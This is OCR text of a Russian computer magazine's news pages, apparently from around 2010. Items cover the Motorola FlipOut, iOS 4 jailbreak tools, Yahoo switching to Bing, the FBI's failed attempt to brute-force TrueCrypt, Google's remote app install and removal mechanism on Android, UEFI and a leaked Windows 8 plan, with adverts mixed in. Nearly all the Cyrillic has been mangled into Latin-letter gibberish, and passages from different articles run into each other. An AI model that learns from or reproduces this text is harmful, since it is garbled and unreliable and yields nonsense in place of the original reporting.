HalWNW CBOMX BNafenbLeB 1 OTNpaBUANCH B TBEPD,
BopoHex, 3avHck n gpyrue yronkn PO. CoynansHas
ceTb www.connection.ru noka elle coBCeM MOS0AA,
Tak YTO Ceiyac TBOM LUAHChI BIUIPaTh Npu3 u\nim
noNy4nTb NOJapoK ocobeHHo Benunkn. CtaTmucTrka
roBOpuT cama 3a cebs: y Tekyllero nuaepa akumm —
XKUTeNbHULbI 13 KannHuHrpaga, kotopas yxe ctana
cyacTamnBowv obnapatensHuLen Hoytbyka u dnetukn,
a Tenepb ABASETCSA peanbHbIM NPeTeHAEHTOM Ha
aBToMobwAb, BCero okono cTa Apysein. OcHoBHan
bopbba ele BNepeaw, BeAb 3T0 YNCNO OCTaBnAeT
Hekucnble WaHckl, 4Tobbl NobopoTses 3a cynep-npwms!

MUH3[IPABCOLIPASBUTMS POCCHM MPEAYMPEXIAET:
KYPEHWUE BPEQUT BALLEMY 3[10POBbIO




[YIJI0POH WK UTPYILKA?

OyeHb HeobbIYHY0 HOBUHKY Npe3eHTOBaNa KOMNaHKA
Motorola: kommyHukatop FlipOut opueHTMpoBaH Ha
MOJI0f,eXb W BbIMOMHEH B HEMPUBLIYHOM a3y BUAE W
3abaBHOM GpopM-dakTope — OH Tyno KBaApaTHbIN.
Pa3mepbl geBalica coBceM Manbl: 67 x 67 x 17,

HO MoJ, BEPXHel 4acTbio yCTPOICTBA, NMOJ, CeH-
copHbIM Aucnneem 2.8" ¢ paspelieHnem 320

x 240 nvikcenei ckpbiBaeTCa NOHOLLEHHARA
QWERTY-knasuatypa. PacknagbiBaetca
CcMapTdOH Nerko: BepXHsAs 4acTb C ANCH-
NleeM NpoBOpa“YnBaETCH BOKPYr 04HOMO
n3yrnos. B pesynsTaTe neyataTth Ha
TakoM cMapTdoHe yfobHo, a gepxaTb

BO BPEM$ pa3rosopa nyx/iblit ManeHb-
Kuii npegMeT — He o4eHb. [Tonpobyi
3axars FlipOut nnevom, 1 Tyt xe
yBUAMWb, kKak Android 2.1 nagaet

B NpAMOM CMbic/e cioBa :). [la-aa,
HOBbIV 1eBaliC BbIXOAWT Ha CTapoMn
Bepcun Android’a. Ho kTo 3HaeT, MoxeT
Motorola pa3poanTca HOBOM NPOLLMBKOMN
c Android 2.2 k MOMeHTy npoaax”? CtaHpapTHas
obonouka crctembl 3amMeHeHa Ha MotoBlur, koTopas
no3BoNAeT NoAYYNTL ObICTPbIN BOCTyn K Twitter n nobu-
MbiM cepBricam Google. Bece 310 paboTtaeT oueHb bbicTpo; elje bl — 600
Ml npoueccop 1 512 M6 onepatusku. Kctatu, uMeHHo bnarogaps Takon

Npon3BOAUTENbHOCTY NapHu 13 Motorola He nobosnunce caenats Toro, caitta:). B Poccum Hosbiii Motorola FlipOut nosientcsa npuMepHo B asrycTe
Yero Hukorpa He bynet B iPhone — gobaBuTe bpaysep ¢ BkitoHeHHOM No no ueHe 12000 — 14 000 pybneit. Hennoxo ans oAHOBPEMEHHO CTUIBHOTO
ymonuanuio nogaepxkoi Flash. Xotenock bbi Beputs, 4to Webkit He ynaget 1, K ToMy Xe, WycTporo annapata ¢ A-GPS, 3n1eKTpoHHbIM KOMNAcoM 1

1 He 3aTOpPMO3UT Npu NepBoM Xe KopsiBoM Flash-baHHepe c nepsoro xe Hennoxoi 3 Mn kamepoii Ha bopTy.

B HoBoit Bepcuu i0S 4 Gbino ucnpasneHo 65 YH3BMMOCTEﬁ, Nnon0BMHA
M3 KOTOPbIX — KPHTHYECKHE

105 4.0 B3/IOMAHA!

VIHTepecHoe NpoT1BOCTOSHVE NPOVCXOAWT MexX/y 3akpbiToit Apple, KoTo-
pas KaTeropuyecku 3anpelyaet nobble MoandMKaLMmn CBOUX CMapTGOHOB,
VI XaKkepoB, KOTOpble cTapaTesibHo 06X04AT BCe HOBble U HOBble 3aLLUTHI.
Tak, He ycnenu Apple BbinycTuTb HoBylo MobunbHyto 10S 4.0, kak noscyeTu-
nvce pebata us Dev-Team (blog.iphone-dev.org). Cpasy 3a pennsom HoBoM
NPOLIMBKYM CBET YBWUAENA UX YyTUAWUTA ANS aHI0Ka, NO3BONRIOLAsA 0TBA3aTh

ann PwnageTool (=)

TenedoH OT KOHKPEeTHOro onepaTopa. Tenepb fioauM, 06HOBMBLIKE MOLEM
(Tak HasblBaeTCA TenedoHHbIN MOAYb CMapTdoHa), CMOryT UCMONb30BaTL
cBou annapatbl B 0bxoz 3anpeTa Apple. lpoluno elle HeMHOro BpeMeHu, 1
napHu BbINyCTUAW HoByto yTunuty — PwnageTool, no3sonsiollyio caenatsb
Jailbreak n npepocTaBuTH NONb30BaTENIO BO3MOXKHOCTbL YCTaHaBINBATb
nobble NpunoxeHus, B Tom Yncie nupatckye. Mpasaa, ytunuta pabotaeT ¢
HekoTopbIMy orpaHunyeHusmu. Cnpasunuce ¢ 4.0 v paspaboTumnkun apyron
Tyn3bl — redsnOw. A BOT pa3paboTumk camoro yHWBEpPCasbHOro 1 nomnynsp-
HOTO MHCTpyMeHTa — Spirit [spiritib.com), ¢ nomouybo KoToporo somaeTcs
n iPad, noka B Tynuke. Apple nodukcrna bary, koTopas no3Bonsia 3anyc- R e BT YD OHeTae Tarhos oe e M m B, .
TnTb userland-akcnnoiiT. BMecTo 3Toro Bce ycunus xakepa ceityac cdoky-

370 momer BuTs iPhone 3G(S), iPod Touch 2G. u
f
CMpoBaHbl Ha HOBOM bare, KOTOpbIV CKOPO AO/KeH AaTb ycrex. |
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SAMSUNG

TURN ON TOMORROW®

bIBaecT.

u3o6paxexne
MOHUTOpA.

MpocTo HAXMUTE KHOMKY
PrintScreen.

3abyabTe 0 CNOXHbIX MHCTPYKLUUAX U UHTEpthelicax. C HOBOW NUHEHKoi
....... KOMNAKTHBIX J1a3epHbIX npuHTepoB u MAY nevatb CTaHOBUTCA ELLE Nerye.
— [locTaTo4Ho HaxaTb OfHY KHONKY PrintScreen Ha ycTpoiicTse, U u306pa-
XEeHue yxe Ha bymare. [powye He GbiBaeT!

ML-1660* SCX-3200* CLP-325* CLX-3185*

* ML-1660 — MOHOXpOMHbIiA npuHTep, SCX-3200 — MoHoxpomHoe M®Y, CLP-325 — ueTHoit npunTep, CLX-3185 — usetHoe MAY.

Enunas cnyx6a noppepxku: 8-800-555-55-55 (3B0HOK no Poccun 6ecnnaTHblit). Www.samsung.com
* HascTpeyy 6yayLiemy. Toap cepTudmumposaH. Peknama.



YAHOO! — BOJIbLIE
HE NOUCKOBHK

15 net noHagobunock Yahoo!, 4Tobbl NOHATb, YTO MCKaTb B UHTEPHETE OHU
He ymetoT. KoMnaHwus npuHsana peleHve ocTaBrTb MOMCKOBbIV Br3Hec.
CnusHne, HadaTtoe Yahoo! n Microsoft ele B npowwnom rogy, fobpanocs

[10 CBOEr0 fIornyeckoro GuHana — tenepb NoMckosbivi anroputm Yahoo!
MOJIHOCTbIO 3aMeHUN MalikpocodToBCkMiA Bing. Microsoft, no cytu, kynuna
10-n€eTHI0I0 NMMLEH3MIO HA MOWCKOBbIE TEXHONOTMW NapTHEpa, C Liesiblo eCiu
He neperHaTb, To xoTa bbl NoTecHnTh Google. Bing geicTBrTenbHO BecbMa
HEMJoX, Ho ero OCHOBHAas NpobsieMa 3ak/o4aeTcs B TOM, YTO MM NpakTuyec-
K1 HUKTO He nonb3yeTcs. bnaropaps xe anbsaHcy ¢ Yahoo! Matikpocodt cMo-
XeT BbIBECTU CBOI Bing Ha no3umumio NonckoBoro AsmxKka HOMep fiBa B MUpe
11, HaKoHeLl, CyMeeT Mosy4unTb 0T Hero npubbinb. Ecnn nocmotpeTs ceityac
Ha ntobele MHKMLMaTUBLI Microsoft B Bebe, To 370 >xecToYaLwmni npoBan B
nnaHe dpuHaHcoBol otaaun. Camxe Yahoo! nocteneHnHo npespaliaetca B
06bIYHbBI MefManopTas, xoTb v ¢ boraTon nctopuren.

«fupexc» exennesro nonyyaet okono 100 MIIH. 3alpOoCoB, uu3 Hux 10%

HanucaHbl ¢ OLWWOKAMK MK ONeyaTKaMH

FBIVS. TRUECRYPT

VHTepecHbI MOBOPOT NPOM30LLEN B UCTOPKM
oaHoro bpasunnbsckoro baHkvpa no nMeHn danvens

YK CHUMW TaM fenann — HernoHATHO, BO3MOXHO,

pa3ssenu pykamu. CornacHo ot4ety befiepanos,

[laHTac, KoToporo 3anofo3pUN B MOLLIEHHN -
yecTBe ¢ prHaHcamm 1 apectosanu 8 2008 rogy

B Pvo-pe-Xanelipo. Cnescraue bbl, BO3MOXHO,
LU0 M0 CTaHAapTHOMY CLieHapwio, ecv bbl Bce
M3bATHIE 13 70 KBAPTVPbI Xapfbl HE 0Ka3anuch
3awwndpoBaHbl 256-butHbIM AES. Kntouen HeT,
cam [laHTac Mon4uT, @ UCronb3oBaTh NasibHUK
Henb3s. [lenatb Hevero, BUHTBI NPULLNOCH OTMPa-
BUTb B HaLMoHanbHbIA MHCTUTYT KPUMUHONOTMM

NPOCTO NOAHVMAN HAaCTPOeHWe, NepekabiBas
113 0[JHOM CTOMKM B APYryI0, HO B OTHeTe ykasanu:
«BpyTtdopc no cnosapio. 5 Mecsaues. beapesynb-
TaTHO». EIMHCTBEHHbBIM BECOMbIM PE3Y/IbTaTOM
cTana gorosopeHHocTs ¢ OBEP, koTopele noobe-
wanu nonpobosaTb CBOW CWAbl B paclundpoBke
JaHHbIX. BoT TyT-T0 1 cnyunncs kasyc — dpepepanti,
Ha koTopbix INC Bo3naranu bonblune Hafexabl,
KOBbIPSIM HeCYaCTHbIe Aucky bonblue rofa i, B
pesysbTaTe, Takxe Hudero He Jobunuvce. Beprys

JaHHble Ha inckax 3alMppoBaHbl ByMs COPTU-
HaMW, Ha3BaHVe O HOW 13 KOTOPbIX HEVN3BECTHO,
3aT0 BTOpOii oka3anack becnnatHas Truecrypt,
KoTopasi HaBepHsika Tebe n3BecTHa. V13 Toro e oT-
YeTa FCHO, YTO TEM CaMbIM «MePei0BbIM METOAOM»
®BP okazancs... onaTts e, bpytdopc. Hy, a rae xe
3aKknafKu1 B NnporpamMmme, Mactep-naposu fng oT-
KpbITUs Moboro Wrdpa, CTaTMcTUHeCkrie MeToabl
An9 nelndpoBaHns aHHbIX U T.40. nT.n.7 la MoxeT
OHW 1 €CTb, U NasSIbHUK HUKTO HE OTMEHs1, a Ta-

(INC), rae oHv v 3acTpsnm Ha NaTb MecsaLes. Y1o

MMO — AETAM HE UT PYLLKA

B MogHebecHo! yxxke faBHO He TOJIbKO CNeaaT 3a rnobanbHbiM GpaliepBoaoM, Ho
eLLle 1 KOCO CMOTPSAT Ha oH1aiHoBble Urpel. B pazHoobpasHbie MMO-3abaBbl

xapfbl B bpasunuio, cneumanuctsl s OBP nuwb

KUMU HOBOCTAMU NN B YCbINNAETCA 6,D,VIT€J'I bHOCTb.

pexeTcs OrPOMHbI MPOLLEHT HaceneHus. 310 yxe camo no cebe HenopsAoK:
KOTA,@ >k M HalTV BpeMsi, YTobbl NennTb TenedoHbl 1 MaTeprHCkie nna-

Tb1? [pon3BOAUTENV XKe yXOAAT Ha TaliBaHb, Ha[0 YTO-TO CPOUHO AenaTb :).
Ananutuku npegpekatot, uto k 2012 rogy Kntai 3axsatuT bonbiie 50% peiHka
MMQ-urp, v ero foxofsl cocTaBaT 41 Mapga. oaHeli (310 okono $6 mnpa.). Ho

¢ 1-ro aBrycra TekyLLero rofa kutanckmne reiimepsl, He gocturiuve 18 ner,
0KaxyTCsl B O4eHb HENPUATHOM CUTyaLmun. Bnactu pelunnn, 4to HecoBeplueH-
HONIETHUM UIPOKaM HEJb35 MCMONb30BaTb HYKM — TOSTbKO HACTOSALLME MEHa 1
Lpyrve nnuHble ganHble. ViHda Ha kaxoro urpoka byet nposepstbes. Jliobas
OHNalHoBas Urpa Tenepb JoSkHa bbiTb 060pyL0BaHa CUCTEMOI aHTU-3aBUCH-
MocTu. To eCTb, Yepe3 TpU Yaca nocsie Havana urpbl reiiMep ANLLKTCS NONOBUHbI
3apaboTaHHOro B Mrpe 3a 370 BpeMs, a eCin He NpekpaTuT UrpaTb, To Yepes
NATb YacoB AMLLKTCA BoobLLLe Bcero 3apabotaHHoro. Bnagensuam oHnanH-urp,
B CBOI0 04epefb, HY>KHO MOATBEPANTL CBO bnaroHafeXHoCTb v obnagatsb
kanutanom He MeHee $1.4 MaH (10 MunnvoHoB 1oaHel). MaBHOM Leblo HOBbIX
npasun B KHP HasbiBatoT «3aLLmuTy Mosiofiexu» v bopbby ¢ pacTyLiMM Yyuciom
VIHTEPHEeT-3aBVCKMbIX NIt0Ael B cTpaHe. 1o nocnefHUM AaHHbIM, K X 41chy
oTHOCATCS 0KoNO 14% 0T 256 MUANNOHOB KUTANCKUX reiiMepoB, To ecTb bonee 33
MUJIIMOHOB YeNoBeK.
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CNELCAYMbbI CILA HETOAYIOT

Kak Mblyxe nncanu, komnanms AOL Banpene Teky-
LLero rofia NpuHsiia peLleHmne NpoAaTb MeCCeHIKep
ICQ ¢poHay Digital Sky Technologies 3a $187.5 MiH.
DST — 310 poccuiickas MHBECTULMOHHASA rpynna,
KOTOPOWA, B YaCTHOCTW, MPUHALNEXNT KOHTPOSbHbIN
naketakumi Mail.ru. Coenka BbIrnaguT BrnosiHe 1o-
rMYHON: «acbka» B Poccum oueHs nonynsapHa, nioc
y cepBvica MHOXeCTBO nosib3oBateneit B [lepMaHuu,

/3paune, Hexuw v page apyrx ctpaH BoctouHoit
Esponsl. OpgHako Financial Times nuweT, 4to
npeAcTaBUTENM aMepyKaHCKuX crielcnyxd kpaiiHe
Hel0BO/bHbITakUM packnazioM. Kak nosicHunm kop-

pecnorfeHTaM FT camn npeacrtaButeny cneucnyxo,

ICQ — 0fMH M3 rNaBHbIX KaHa0B obLLeHUA aNd
MHOMWX NpecTynHbIX rpynn n3 BoctouHon EBponsi.
Takum obpasom, nepeesn cepsepos [CQu3 CLUA

B8 Poccuio 3aTpyaHnT Anst aMmeprkaHLEB KOHTPOSb
Haf Nepenwuckoi npecTynHukoB. CTon, kakol eLue
koHTponb? CTano bbiTb, He 3psi roBopAT, YTo be3
LndpoBaHMA Bacbke HKKyna? B AercTBuTensHOCTM
IJ15 YTeHWs IOroB pebsiTaM He Hy>KHbI CaMyi CepBepbI
ICQ, Tak KaK 3TOT BOMPOC MOXHO PELLNTL Ha YPOBHE
VIHTEPHEeT-NpoBaiifepoB. ATenepb cepsepsl, ckopee
Bcero, nepeefyt!

B wrare Komnanuu Google TpyauTcs 20621 yenosex, u3 nux Gonee 99% mnagwe

40 ner.

CAMbIV 60/IbLIOKM BOTHET OT GOOGLE )

BypHbie 0bcyxaeHvs Bbi3Banw feictaus koprnopaumun Google, kotopas
cHauana odpuumansHo nogTeepavna Hanuune 8 0C Android BoamoxHoC-

TV AIMCTaHLMOHHOIO YAaNeHNs MPUIOXKEHWIA, @ NOTOM HE MPEMIHYNa eto
BOCNONb30BaThCA. KepTBOW CTanu ABa COMHUTENbHbIX MPUITOXKEHNS,
C0o3[aHHbIX CreuyanncToM no be3onacHoCTU B X0e MHTEPECHOM0 3KCMepn-
MeHTa. Pecepyep xoTen nokasaTb, HACKOMIbKO J1ErKO MOXHO pacnpoCcTpaHnTb
3110BpeAHOE NPUNOXEHNE, MPMYEM C NMOMOLLbIO cCaMux nosnb3oBaTtenei. ng
aToro B Android Market 610 fobaBneHo fBa coBeplLUeHHO becrnonesHbix
NPUNOXeHUs, AN1s KOTOPbIX, 0HaKo, bbI0 HanucaHo NpuBnekaTensbHoe
onucanue. M uto Tl gymaews? [Nonb3oBaTenn akTMBHO CTanu ycTaHaB-
nvBath ux. [paBaa, 0610MaBLLIMCh NOCE YCTaHOBKM, MHOTME 13 103ep0B
«nycThiWKM» yaanunu. Pebata n3 Google nonpocunm pecepyepa camoro
yLaNUTb NPUAOXKEHNS U3 PEMO3NTOPKS, @ CaMU, BEPOSTHO, A0NITO OXMAARA
noA0bHOro cyyas, HakoHeL, MosyYMIN BO3MOXHOCTb YNPaBasTe MUPOM.
ABepHee, NPOTECTUTL BO3MOXHOCTb YAANEHHOTO0 yAaNeHNs NPUI0KEHNS

co cMapTdoHoB nonb3osateneit. Kopoye rosops, BceM cMapTdoHaMm bbina
oTnpaBfieHa KoMaHaa: «YaanuTb, Henb3d NoMunoBaTte». [lonb3oBatensim
npv 3ToM Bbino 0TobpaxeHo yBeAoMIeHUE, HO KTO X 1x YnTtaeT? Camo coboit,
Takas BO3MOXHOCTb NponuncaHa B npasunax vcnonszosanuns OC. Ho yntaTb
JINLLEH3MIN CKYYHO, @ BOT YTO e ICTBUTESNIbHO MHTEPECHO, Tak 3TO TO, Kak
paboTaeT TexHonorus.

Ha camoMm gene, onepauunoHHas cuctema Android yxxe flaBHO nofaepXxunsaeT
nge komaHgbl: REMOVE_ASSET n INSTALL_ASSET, koTopble no3sonsioT
Google He ToNbKo yAaneHHo yaansaTb, HO M yCTaHaBAMBaTL NPUIOXKEHUS.
Teoi aesaiic Ha Android nogaepxwvsaet noctosHHoe TCP/SSL/XMPP-co-
envHerue c cepeepamu GTalk (ma-aa, Toro camoro yata, uTo UCMonb3yeTcs

8 Gmail] Bce Bpems, Koraay TesedoHa ecTb oCTyn B HTEpHET. Mpuyem

connection:

MobunbHaa OC aBToMaTHyecky nepenofkioyaeTcs K cepBepy B Cilyyae
0bpbiBa CBA3M M NOCTOAHHO OTNPaBAAeT NMHIK Ha cepBepa Google. 3ToT
KaHan cBA3u no3sonseT Google 0TNpaBAsATL CUCTEMHbIE COODLLEHNS TBOEMY
nesavicy. OtnpaBnerHoe Yepes GTalkService cooblieHne HenpeMeHHO
nonagaeTt Ha kaxablii cMapTdoH. Kak Tonbko Google otaaeTt komaHay
INSTALL_ASSET, nonyumsLunii coobulerne cMapTdoH Ha Android ckaun-
BaeT APK-guctpnbyTus c nporpamMmoit u nHctannupyet ee. M, Haobopor,
nonyuns komaHgy REMOVE_ASSET, cuctema yganset npunoxexue, eciam
OHO yCTaHoBMEeHO. Takasi BO3MOXHOCTb, C OAHOM CTOPOHbI, xopolwa: Google
MOXeT 0nepaTUBHO yAaNnTh BCIO NOSBASOLLYOCS Mansapb. Ho ¢ gpyroii cto-
POHBbI, @ YTO, EC/IN KTO-TO CMOXET peannsosaTb MITM-ataky Ha SSL-coeaun-
HeHWe KoHKpeTHoro TenedoHa fo GTalkService n npocnyduTb cooblieHne
INSTALL_ASSET, utobbl 3an1Tb Ha TenedoH kakyio-Hunbyab 3apasy? nu
BoobLe fobpatbesa fo camux cepepos GTalkService v oTnpaBuTb KOMaHLy
BceM cpa3y? BoTrge byget xecTs!

A\ Twilight Eclipse Preview

Removed from your phone. 5:40 PM
A\ RootStrap
Removed from your phone. 5:40 PM

heartbeat: 48 / 25% / 0%

login: 80/ 42% / 759

data message:
INSTALL_ASSET:1/0% /3%
REMOVE_ASSET:2/1% / 3%

» 013



HEOBbIYHAf TABJIETKA OT ASUS

MnanweTHbix MK Ha peiHKe cTa-
HoBuUTCA Bce bonbLue v bonbLue, a

yX BbIxof iPad v BoBCe nponssen
HacTosWwwmI dypop. A Kak M3BeCTHO,
YEeM CUJIbHEE Ha PbIHKE KOHKYpeH-
LS, TeM HIKe LieHbl, nTem bonblue
LLAHCOB, 4TO KOMMAHMUM HauHyT
BbINyckaTb HEOObIUHbIE U VHTEPECHbIE
LeBalicbl, kenas npuBeYb noky-
natenen. TalBaHbckas KOMNaHus
Asus TpafULMOHHO AEPXNT PyKy Ha
nynbce — Ha BbicTaBke Computex
Asus bbin npefcrasneH ragpxket ASUS

Eee Tablet, koTopbiil gaxe Henb3s
Ha3BaTb NIaHLWETHUKOM B 00bIYHOM
noHuMaHuw aToro cnosa. Eee Tablet
— 370, ckopee, LndpoBol bNOKHOT,
NOCTPOEHHbIN Ha TFT-MaTpuue c 64
rpafaumnsmMm ceporo. 3nech HeT Aaxe
MoACBeTKM, 3aTO eCTb 8-A410MOBbIN
auncnneii c paspeluervem 1024 x 768,
TauYCKPUH YyBCTBUTENBHOCTLIO 2450
dpi, M CTPaHULLbI IMCTAOTCH CO CKO-
pocTbto 0.1 cek. Bpemsi aBToHOMHO
paboTbl ycTpoiicTBa paBHO NpUMEPHO
10uacam. Eee Tablet ocHalaeTcs

cnotoM microSD, 2-meranvikcens-
HoW KamepoWt, 3,5 MM BbIXOLOM Ha
HaYLLHWKM (IMeeTCa BCTPOEHHbIN
Meamanneep), u, KOHEYHO, CTUIYCOM,
KOTOPbII CVIBHO HAaMOMUHAET Nepbs
oTnnaHweTtos Wacom.

[pusATHO pagyeT M aHOHCHPOBaH-
Has LieHa ycTpoiicTea — Eee
Tablet obelatoT BeINYCTUTH
B MPOJay 0CEHbIO M0

uere 199-299 MepTBbIX
Npe3nieHToB.

TWITTER.COM/KREMLINRUSSIA

B Poccun Hawnock 40 Teicay yenosek, KOTOPbIe NOAb3YOTCH TBUTTEPOM U pelvav
nounTaTh, 4TO B HeM DyfeT nvcaTb Hal NPOABUHYTHIV Npe3naeHT. [lepBbiit ke TBUT
cownbkoit: «Bcem npuset! A B TBUTTEpE M 3TO MOeb NepBoe cooblyeHume!», 3aTo
ocTaBneHHbIN B oduce camoro Twitter'a. [TocelleHne BbICOKOTEXHONOMMYHbIX KOM-
nanui (a Mepsenes nobuisan ewle v 8 Apple v Cisco) cocTosnnocs Bo BpeMs noesakn
npe3ngerTa B KpeMHuesyio fonunHy. [prynHa noHATHa: pa3 yx cobpanuck cTponTs

KremlinRugsia

.
Yepaoe o
Hawy cobctBeHHyto Silicon Valley B nogmockoBHoM CkonkoBo, To Haflo X0Ts Bbl NOHATS,
Ha Koro paBHATbCA. 0buaHo e byaeT, ecnu blogxeT yiaeT, ycnoBus Ans oTMbIBaHMS
feHer byayT co3fiaHbl, a HW O[HOTO LOCTOMHOIO CcTapTana He nosBuTCs. MHnumna-

TMBa NpaBubHas. YBaxaeMblit IMuTpuin AHaTonbeBuY, Bbl 0bpallaiTech K Ham 3a
nomolbio. Mbl 1 caMu COBETOM NMOMOXEM, U pebaT MonloabIX nocoBeTyeM. ATam, Toro
W FAS AN, aBTOMATU3NPYEM NOAUKINHWKY, 1 971eKTPOHHOe MpaBUTeNbCTBO 3apaboTaerT.
Hawmn yntatenn oyeHb cnocobHble!

128 6 — nosbuii PeKopA B 06nacTH NPoU3BOACTBA (hIeLL-NaMATH, YCTaHOBNGHHbIN
KoMnaHueH Toshiba

JTioBonbITHBIMM CO0bpaXkeHNAMW MOAENNICS C MUPOM KPYMHEALLIIA TPOV3BOAUTENb

By ET ﬂ BIOS Ha coBpeMeHHbIX KOMMbloTepax — 3T0 aTaBU3M, KOTOPbIA CKOPO A0JIXKEeH pacTBOPUTLCH
B aHHanax uctopuu. 3ameHy ctapomy gobpomy BIOS mukpoctaposubl Buaat 8 UEFI-3arpys-

yumkax, kotopble cama MSI Hauana npogwrats ete 8 2008 roay, Bbinyctvs nnatsl ¢ Click

BIQS Ha 6opty. UEFI (Universal Extensible Firmware Interface, YHusepcanbHbiii Pacluvpse-

Mbilt inTepdeiic ans Mpowusok] — pansHeiiwee paseutre npoekTa Intel nog HaseaHneMm
EFI, koTopbi bbin NpefHa3HayeH ans Toro, 4tobel Hagenuts BIOS apyxecTBeHHbIM And

MatepuHckux nnat Microstar (MSI). Mo MHeHWIO NpeAcTaBUTENEN «KEE3HOro» M1raHTa,

nosb3oBaTens MHTepdencoM, a Takxe peLunTb MHOve fipyrie npobnemsl, TUNNYHbIE A5
[NK. CobcTBEHHO, NepBble MaTepuHckue nnatel ¢ UEF| ByayT ocHoBaHbl Ha YnnceTe Sandy
Bridge ot Intel v BbINyLL,eHbI BO BCex kaTeropusx: oT brogxeTHbIx 4o high-end. Mnatbl bygyt
BbIMyLLLEHbI B KOHLLe 3Toro roga v B Havane 2011. Mepexog Ha UEF| ctaHoBwTCs Kyna bonee
BaXHbIM, TaK Kak 3TO OTKPbIBAET HOBblE BO3MOXHOCTU AN XpPaHEeHUS iaHHbIX. He Tak faBHo
KoMnaHws Seagate opuumansHo 3assuna, 4to UEFI — BaxHoe TpeboBaHme ans Toro, Ytobbl
3arpy3nTs MK ¢ gucka pasmepom bonee 2 T6. OcHoBHas pasHuua mexay BIOS n UEFI B Tom,
4TO NepBbI HanvcaH Ha accembnepe, a BTopol Ha C. Ho nepeltvt Ha Hero, 0Tka3aBLWCh OT
BIOS’a, He Tak npocTo. BonblwmnHCTBO BCTpoeHHbIX ROM 0B0SIbHO ManoBMeCTUTENbHbI, Tak
4TO 0BbIYHbIE MaTEPUHKI Hefb3s MpocTo nepenpolunTts Ha UEFI, koTopbiii 3aHnMaeT bonblue
mecTa. KTomy e, Te MHorouncneHHble duLlikv ans broca spose Express Gate ot Asus,
no3BoNSAOLLErO 3arpy3uTb npocTeHbkyto OC Yepes napy cekyH[ nocse 3amnycka KoMnbloTepa,

NpWAeTCs NepenuchiBaTb 3aHOBO!
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YTEYKA CEKPETHOM UHOPMALLMK 0 WINDOWS 8

MTanbsiHckme XypHanucTsl ¢ noptana www.windowsette.com kakum-To
HeMbICANMbIM 0Bpa3oM cymenu pa3fobeiTe cekpeTHble cnanabl Microsoft,
npefiHasHayeHHble 415 BHYTPEHHEro Ucnosb3oBaHus. Ho camoe rasHoe —
B Npe3eHTauuy nprBeaeHa HdopMaLms o nnaHax Microsoft no paspabotke
Windows 8. BonblUMHCTBO MHbOPMaLMK — 3TO MapKeTUHroBas nabyna ob
n3MeHeHuy bpenaa v npubnunxeHns k nogxomy Apple «31o npocTo pabo-
TaeT». OAHaKo HeKOTOpbIE fieTan 0 HEKOTOPbIX TEXHUYECKUX HOBLUECTBAX
BCe-TaKu eCTb:

1.MpocToe BoccTaHoBneHve cucteMbl. B Windows nosButcs MHCTpyMeHT
Windows Recovery, no3sonsioLnii b6ICTpo 0TKaTUTh HeiaBHWE V3MEHEHNS,
€CN Nosb30BaTesb YTO-TO HanopTauun. bonee Toro, NOABKTCS BO3MOX-
HocTb «Reset Windows, but keep my stuff», koTopasi no3sonut 6eictpo
nepeycTaHoBUTb CaMy BUHAY, MPU 3TOM 0CTaBWT 6e3 M3MEHEHUIT [LOKYMEHTSI,
nepcoHanbHble AaHHble, Npodaliinbl noab3osateseil. BepostHo, nossutcs
Y LONTOXAaHHbI MaraswvH npunoxeHunii App Store. Cpa3sy nocne nepeycra-
HOBKM CUCTEMbI MOXHO byfieT bbICTPO 3aMHCTaNNNTL BCe paHee KyrleHHble
nporv.

2. Brictpas 3arpyska Windows. BoTt 1 Microsoft, HakoHew-To, 3amMeTnn, 4to
BWH/A FPY3WUTCS [0 HENPUANYMNS A01T0. ITO MO HbIHELWHNM-TO MEPKaM.
BMecTo 0bbIYHON TEKYLLe CXeMbI MPOLLeCcca 3arpy3ku KOMIblOTepa, COCTos -
wero 3 POST (vacTk, KoTopyto rpy3uT MaTepuHckan nnatal, nHuumanvsa-
UMM cucTeMsl (apaiiBepsl, cepBuChl) v 3arpy3ku Mosb30BaTENbLCKO CECCrm
npepnnaraeTcs BBeCTU KOMBMHUPOBAHHbIV BapuaHT 3arpy3kun — «Logoff +
Hibernate Boot». Obwnii cMbicn B ToM, 4TObbI He BbIK/II0YATL KOMMbIOTEP
NOJIHOCTbIO, @ MOCTOSIHHO MCMOb30BaTh 0CObbIV BUA rmbepHaLmuu, koTopas

ByneT KaLWmnpoBaTh 60/bLLYIO YaCTb 31EMEHTOB CUCTEMbI 1 BbICTPO 3arpy-
XaTb ee.

3. HoBblie cuctembl aBTopm3aumn. O4HOM U3 KMBbIX 1 MOHATHBIX OMUMIA,
BEPOSITHO, BCTaBJIEHHbIX B CNalfbl [J15 KaKX-HUOYAb He CUbHO TeXHNYec-
KNX MeHe[KepoB, ABNSieTCs BU3yasbHas aBTopu3aums. KMoMeHTy Bbinycka
Windows 8, a oH nnaHupyeTcs He paHee, YeM Yepe3 ABa roAa, b0/bLNHCTBO
KOMMbIOTEPOB M HOYTOYKOB HenpeMeHHOo byyT ocHalleHbl Beb-kamepoi.
Hy>XHO 3arnsiHyTb B Kamepy — 1 NporpaMma 3anorvHuT Tebs B cuctemy. Mo dd.
370 y>Ke He 3amaLlku no noeofy nHTennektyansHon OC WinFS, a ak, nycrsayok,
KOTOPBIN y>Ke Celyac MOXHO peann3oBaTh C NoMoLLbio fJononHuTtensHo 0. Ho
TYT ONSATh XK€ HAMOMUHA0: HYKTO He rapaHTUpYeT, YTO 3TV Cnainabl — He Geiik.

Windows Recovery

Choose a point in time to return your computer to

Undo recent changes only

.2) Reset Windows, but keep my stuff S

Cancel

AlAEEEE A ©
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SIdLdGIVIDIA

ero 6ecnposopHoro komchopra

He Tpe6yet cneunanbHbIX 3HaAHMIA!

bbicTpas HacTpoiika 6ecnpoBofHoii cetu u Internet
Ytunuta ASUS EZSetup/ WPS Wizard — HacTpolika 3alimLLeHHON 6ecnpoBOLHON CeTH

1 Internet-coefMHeHns 3a 2 MUHYTbI C NPeaycTaHOBKAaMU Ans NpoBaiepoB 6Gonee
yem B 100 ropopax Poccun

-

KomchopTHas ckopocTb Ans BCEX NpuUNoXeHuit! & —~

Ipathuueckasn HacTpoiika NPUOPMTETOB

Yno6Hoe nepepacnpefeneHine WUPUHbI KaHana Mexay TakuMu NpUoXeHNAMMU,
KaK rof10COBbIE MPOrPaMMbl, UrPbl, MPUNOXKEHIUS, UCMONb3YIOLLNE NOTOKK ayano m} =

1 BUeo, a Takxe FTP n P2P

b " 5
e o

Qb e =3 3 VHuBepcanbHOCTb U PYHKLUOHANBHOCTD! 3 ,
‘ B - “\x-\\ 5
| Moakntouenne USB ycTpoiicTs X
